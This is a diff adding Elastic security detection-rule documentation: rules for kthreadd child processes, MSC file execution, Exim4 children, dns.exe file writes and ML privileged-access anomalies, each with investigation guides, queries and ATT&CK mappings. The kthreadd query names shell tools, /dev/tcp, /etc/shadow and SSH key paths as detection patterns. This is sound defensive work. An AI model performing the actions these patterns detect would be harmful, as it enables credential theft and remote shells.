+*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Execution from Kernel Thread (kthreadd) Parent* + + +The kernel thread (kthreadd) is a fundamental component in Linux systems responsible for managing kernel-level processes. Adversaries may exploit kthreadd to execute payloads from kernel space, thereby evading detection due to its trusted status. The detection rule identifies suspicious child processes initiated by kthreadd, focusing on unusual executable paths and command lines indicative of malicious activity, while filtering out known benign processes. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific child process name and executable path that triggered the rule. Focus on paths like /dev/shm, /tmp, /var/tmp, and /var/www, which are commonly used for storing temporary or potentially malicious files. +- Examine the command line arguments associated with the suspicious process. Look for indicators of compromise such as references to sensitive files or directories like /etc/shadow, /etc/sudoers, or ~/.ssh, as well as suspicious commands like base64 or cron. +- Check the parent process details to confirm it is indeed kthreadd. Investigate any unusual behavior or anomalies in the parent process that might suggest exploitation or manipulation. +- Investigate the network activity of the host to identify any connections to suspicious IP addresses or domains, especially if the command line includes references to /dev/tcp or other network-related paths. +- Analyze the system logs and historical data to determine if similar alerts have been triggered in the past, which might indicate a persistent threat or repeated exploitation attempts. +- Assess the risk and impact of the detected activity by correlating it with other security events or alerts on the host, considering the medium severity and risk score of 47 associated with this rule. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger this rule, such as automated scripts running from temporary directories. Users can create exceptions for specific scripts or processes that are verified as safe. +- Development or testing environments often use temporary directories for executing scripts. Exclude known development tools or scripts from these environments to reduce noise. +- Some monitoring or backup tools might use command lines or executables that match the rule's criteria. Identify these tools and add them to the exclusion list to prevent false alerts. +- Custom administrative scripts that perform routine checks or updates might inadvertently match the rule. Review these scripts and exclude them if they are part of regular operations. +- If certain processes are consistently flagged but are known to be benign, consider adjusting the rule to exclude these specific processes or command lines to improve detection accuracy. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. +- Terminate any suspicious processes identified as child processes of kthreadd that match the alert criteria, ensuring to log the process details for further analysis. +- Conduct a thorough review of the file paths and command lines flagged in the alert to identify any unauthorized or malicious files or scripts. Remove or quarantine these files as necessary. +- Check for unauthorized modifications in critical system files and directories such as /etc/init.d, /etc/ssh, and /root/.ssh. Restore any altered files from a known good backup. +- Escalate the incident to the security operations team for a deeper forensic investigation to determine the root cause and entry point of the threat. +- Implement additional monitoring on the affected host and similar systems to detect any recurrence of the threat, focusing on the specific indicators identified in the alert. +- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that may have been exploited by the adversary. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.parent.name:kthreadd and ( + process.executable:(/dev/shm/* or /tmp/* or /var/tmp/* or /var/www/*) or + process.name:(bash or csh or curl or dash or fish or id or ksh or nohup or setsid or sh or tcsh or wget or whoami or zsh) +) and +process.command_line:( + */dev/shm/* or */dev/tcp/* or */etc/init.d* or */etc/ld.so* or */etc/profile* or */etc/rc.local* or */etc/shadow* or */etc/ssh* or + */etc/sudoers* or */home/*/.ssh/* or */root/.ssh* or */tmp/* or */var/log/* or */var/run/* or */var/tmp/* or */var/www/* or + *base64* or *cron* or *xxd* or *~/.ssh/* +) and not ( + process.name:(true or cifs.upcall or dpkg or flock or gdbus or getopt or grep or mount or touch or umount or uname) or + process.command_line:( + "sh -c /bin/true" or */bin/ps* or */usr/bin/find* or */usr/bin/grep* or *ds_agent* or *gitlabrunner* or *nagios* or + *omsagent* or *pgrep* + ) or + process.executable:( + /lib/systemd/systemd-cgroups-agent or /proc/self/exe or /usr/local/axs-haproxy-monitoring/haproxy_stats.sh or /tmp/newroot/* or + /var/lib/docker/overlay2/* or /vz/root/* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-execution-via-microsoft-common-console-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-execution-via-microsoft-common-console-file.asciidoc new file mode 100644 index 0000000000..aa037a8435 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-execution-via-microsoft-common-console-file.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-unusual-execution-via-microsoft-common-console-file]] +=== Unusual Execution via Microsoft Common Console File + +Identifies the execution of a child process from a Microsoft Common Console file. Adversaries may embed a malicious command in an MSC file in order to trick victims into executing malicious commands. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.genians.co.kr/blog/threat_intelligence/facebook + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne + +*Version*: 206 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Execution via Microsoft Common Console File* + + +- Investigate the source of the MSC file. +- Investigate the process execution chain (all spawned child processes and their descendants). +- Investigate the process and it's descendants network and file events. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and endswith~(process.parent.args, ".msc") and + not ( + process.parent.args : ( + "?:\\Windows\\System32\\*.msc", + "?:\\Windows\\SysWOW64\\*.msc", + "?:\\Program files\\*.msc", + "?:\\Program Files (x86)\\*.msc" + ) or + ( + process.executable : "?:\\Windows\\System32\\mmc.exe" and + process.command_line : "\"C:\\WINDOWS\\system32\\mmc.exe\" \"C:\\Windows\\System32\\gpme.msc\" /s /gpobject:\"LDAP://*" + ) or + ( + process.executable : ( + "?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "?:\\Program Files\\Mozilla Firefox\\firefox.exe", + "?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files\\internet explorer\\iexplore.exe" + ) and + process.args : "http*://go.microsoft.com/fwlink/*" + ) or + process.executable : ( + "?:\\Windows\\System32\\vmconnect.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wermgr.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-exim4-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-exim4-child-process.asciidoc new file mode 100644 index 0000000000..3f7859775e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-exim4-child-process.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-20-unusual-exim4-child-process]] +=== Unusual Exim4 Child Process + +This rule detects the execution of unusual commands via a descendant process of exim4. Attackers may use descendant processes of exim4 to evade detection and establish persistence or execute post-exploitation commands on a target system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.qualys.com/2021/05/04/21nails/21nails.txt +* https://blog.qualys.com/vulnerabilities-threat-research/2021/05/04/21nails-multiple-vulnerabilities-in-exim-mail-server + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Exim4 Child Process* + + +Exim4 is a widely used mail transfer agent on Linux systems, responsible for routing and delivering email. Adversaries may exploit Exim4 by spawning unexpected child processes to execute malicious commands, thereby evading detection and maintaining persistence. The detection rule identifies suspicious child processes initiated by Exim4, excluding known legitimate processes, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific unusual child process name and command line arguments that were executed under the parent process exim4. +- Examine the process tree to understand the hierarchy and context of the spawned process, including any sibling or child processes that may indicate further malicious activity. +- Check the user account associated with the exim4 process to determine if it aligns with expected usage patterns or if it might be compromised. +- Investigate the source and destination of any network connections initiated by the unusual child process to identify potential data exfiltration or command and control activity. +- Analyze system logs around the time of the alert to identify any related events or anomalies that could provide additional context or evidence of compromise. +- Correlate the findings with other alerts or incidents in the environment to determine if this activity is part of a broader attack campaign. + + +*False positive analysis* + + +- Development tools like cmake, gcc, and cppcheck may trigger false positives if they are used in environments where Exim4 is installed. To mitigate this, ensure these tools are included in the exclusion list if they are part of regular development activities. +- System maintenance scripts that utilize commands such as readlink, grep, and stat might be flagged. Review these scripts and add them to the exclusion list if they are verified as part of routine system operations. +- Automated deployment or configuration management tools that invoke systemctl or update-exim4.conf can be mistaken for suspicious activity. Confirm these processes are legitimate and add them to the exclusion list to prevent unnecessary alerts. +- If Exim4 is used in conjunction with SSH services, processes like sshd may appear as child processes. Verify the legitimacy of these connections and exclude them if they are part of expected behavior. +- Regularly review and update the exclusion list to reflect changes in system operations or new legitimate processes that may arise, ensuring the rule remains effective without generating excessive false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious child processes of Exim4 that are not recognized as legitimate, using process management tools like `kill` or `pkill`. +- Conduct a thorough review of the Exim4 configuration files and scripts to identify unauthorized modifications or additions, and restore them from a known good backup if necessary. +- Scan the system for additional indicators of compromise, such as unauthorized user accounts or scheduled tasks, and remove any malicious artifacts found. +- Apply security patches and updates to Exim4 and the operating system to mitigate known vulnerabilities that could be exploited by attackers. +- Monitor the system for any recurrence of unusual Exim4 child processes and adjust logging and alerting to capture detailed information for further analysis. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if other systems in the network may be affected. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.type:start and event.action:exec and process.parent.name:exim4 and +not process.name:( + exim4 or start-stop-daemon or run-parts or systemctl or update-exim4.conf or install or plymouth or + readlink or grep or stat or cmake or gcc or cppcheck or sort or sshd +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-file-operation-by-dns-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-file-operation-by-dns-exe.asciidoc new file mode 100644 index 0000000000..4507e3915e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-file-operation-by-dns-exe.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-unusual-file-operation-by-dns-exe]] +=== Unusual File Operation by dns.exe + +Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual File Operation by dns.exe* + + +The rule flags Windows DNS Server (dns.exe) creating, changing, or deleting files that aren’t typical DNS zone or log files, which signals exploitation for code execution or abuse to stage payloads for lateral movement. After gaining execution in dns.exe via DNS RPC or parsing bugs, attackers often write a malicious EXE into System32 and register a new service, leveraging the trusted service context on a domain controller to persist and pivot. + + +*Possible investigation steps* + + +- Validate the modified file’s full path, type, and provenance, prioritizing writes in %SystemRoot%\System32, NETLOGON, or SYSVOL, and confirm signature, hash reputation, and compile timestamp to rapidly classify the artifact. +- Pivot to persistence telemetry around the same timestamp by hunting for new services or scheduled tasks (e.g., SCM 7045, Security 4697, TaskScheduler 106/200) and registry autoruns that reference the file. +- Correlate with DNS service network activity and logs for unusual RPC calls, authenticated connections from non-admin hosts, or spikes in failures/crashes that could indicate exploitation. +- Inspect the service’s runtime state for injection indicators by reviewing recent module loads, unsigned DLLs, suspicious memory sections, and ETW/Sysmon events mapping threads that performed the write. +- If the file is executable or a script or placed in execution-friendly locations, detonate it in a sandbox and scope the blast radius by pivoting on its hash, filename, and path across the fleet. + + +*False positive analysis* + + +- DNS debug logging configured to write to a file with a non-.log extension (e.g., .txt) causes dns.exe to legitimately create or rotate that file during troubleshooting. +- An administrator exports a zone to a custom-named file with a nonstandard extension (e.g., .txt or .xml), leading dns.exe to create or modify that file as part of routine maintenance. + + +*Response and remediation* + + +- Isolate the host by removing it from DNS rotation and restricting network access to management-only, then capture and quarantine any files dns.exe created or modified outside %SystemRoot%\System32\Dns or with executable extensions. +- Delete or quarantine suspicious artifacts written by dns.exe (e.g., .exe, .dll, .ps1, .js) in %SystemRoot%\System32, NETLOGON, or SYSVOL, record their hashes, and block them fleetwide via EDR or application control. +- Remove persistence by disabling and deleting any new or altered Windows services, scheduled tasks, or Run/Autorun registry entries that reference the dns.exe-written file path, and restore legitimate service ImagePath values. +- Recover by repairing system files with SFC/DISM, restoring affected directories from known-good backups, and restarting the DNS service, then validate zone integrity, AD replication, and client name-resolution. +- Immediately escalate to incident response if dns.exe wrote an executable or script into NETLOGON or SYSVOL or if a service binary path was changed to point to a newly dropped file, indicating probable domain controller compromise and lateral movement. +- Harden by applying the latest Windows Server DNS patches, enforcing WDAC/AppLocker to block execution from SYSVOL/NETLOGON and restrict dns.exe writes to the DNS and log directories, and enable auditing on service creation and file writes in System32/NETLOGON/SYSVOL. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and host.os.type : "windows" and + event.type : ("creation" or "deletion" or "change") and process.name : "dns.exe" and + not file.extension : ("old" or "temp" or "bak" or "dns" or "arpa" or "log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-group-name-accessed-by-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-group-name-accessed-by-a-user.asciidoc new file mode 100644 index 0000000000..56b1802640 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-group-name-accessed-by-a-user.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-unusual-group-name-accessed-by-a-user]] +=== Unusual Group Name Accessed by a User + +A machine learning job has detected a user accessing an uncommon group name for privileged operations, indicating potential privileged access activity. This indicates that a user has accessed a group name that is unusual for their typical operations, particularly for actions requiring elevated privileges. This could point to an attempt to manipulate group memberships or escalate privileges on a system. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Group Name Accessed by a User* + + +In IT environments, group names often define access levels and permissions. Adversaries may exploit this by accessing or altering uncommon group names to escalate privileges. The detection rule leverages machine learning to identify deviations from a user's typical access patterns, flagging unusual group name access as a potential indicator of privilege escalation attempts. This proactive approach helps in early detection of unauthorized access activities. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific user and the unusual group name accessed. Note the timestamp of the access for further context. +- Check the user's historical access patterns to determine if this group name access is indeed anomalous compared to their typical behavior. +- Investigate the permissions and roles associated with the unusual group name to assess the potential impact of the access. +- Examine recent changes to the user's account, such as password resets or modifications to account settings, which might indicate account compromise. +- Correlate this event with other security alerts or logs, such as login attempts from unusual locations or times, to identify potential indicators of compromise. +- Contact the user or their manager to verify if the access was legitimate and authorized, documenting any explanations provided. +- If unauthorized access is suspected, initiate a security incident response process to mitigate any potential threats and prevent further unauthorized access. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts if administrators access uncommon group names for legitimate system maintenance. To manage this, create exceptions for known administrative accounts performing regular tasks. +- Automated scripts or services that require access to various group names for operational purposes might be flagged. Identify these scripts and whitelist their activities to prevent false positives. +- Temporary project groups or newly created groups for specific tasks can appear unusual. Document and monitor these groups, and update the machine learning model to recognize them as non-threatening. +- Cross-departmental collaborations may involve users accessing group names outside their usual scope. Establish a process to review and approve such access, and adjust the detection rule to accommodate these scenarios. +- Changes in user roles or responsibilities can lead to access pattern deviations. Ensure that role changes are communicated to the security team to update access baselines accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further unauthorized access or privilege escalation. This can be done by disabling the account or changing its password. +- Review and audit the group membership changes associated with the unusual group name to identify any unauthorized modifications. Revert any unauthorized changes to restore the original group settings. +- Conduct a thorough investigation of the user's recent activities to identify any other suspicious actions or access patterns that may indicate further compromise. +- Notify the security team and relevant stakeholders about the potential privilege escalation attempt to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected user account and the unusual group name to detect any further unauthorized access attempts. +- Review and update access control policies to ensure that only authorized users have access to sensitive group names and privileged operations. +- Consider implementing additional security measures, such as multi-factor authentication, for accessing sensitive group names to prevent unauthorized access in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Windows logs collected by integrations such as Elastic Defend and Windows. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] and https://docs.elastic.co/en/integrations/windows[Windows] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Windows integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-host-name-for-okta-privileged-operations-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-host-name-for-okta-privileged-operations-detected.asciidoc new file mode 100644 index 0000000000..535608b68d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-host-name-for-okta-privileged-operations-detected.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-unusual-host-name-for-okta-privileged-operations-detected]] +=== Unusual Host Name for Okta Privileged Operations Detected + +A machine learning job has identified a user performing privileged operations in Okta from an uncommon device, indicating potential privileged access activity. This could signal a compromised account, an attacker using stolen credentials, or an insider threat leveraging an unauthorized device to escalate privileges. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Host Name for Okta Privileged Operations Detected* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Adversaries may exploit Okta by using stolen credentials or unauthorized devices to perform privileged operations, potentially leading to privilege escalation. The detection rule leverages machine learning to identify anomalies in host names associated with privileged actions, flagging unusual device usage that may indicate compromised accounts or insider threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific user and host name involved in the unusual activity. +- Check the user's recent login history and device usage patterns in Okta to determine 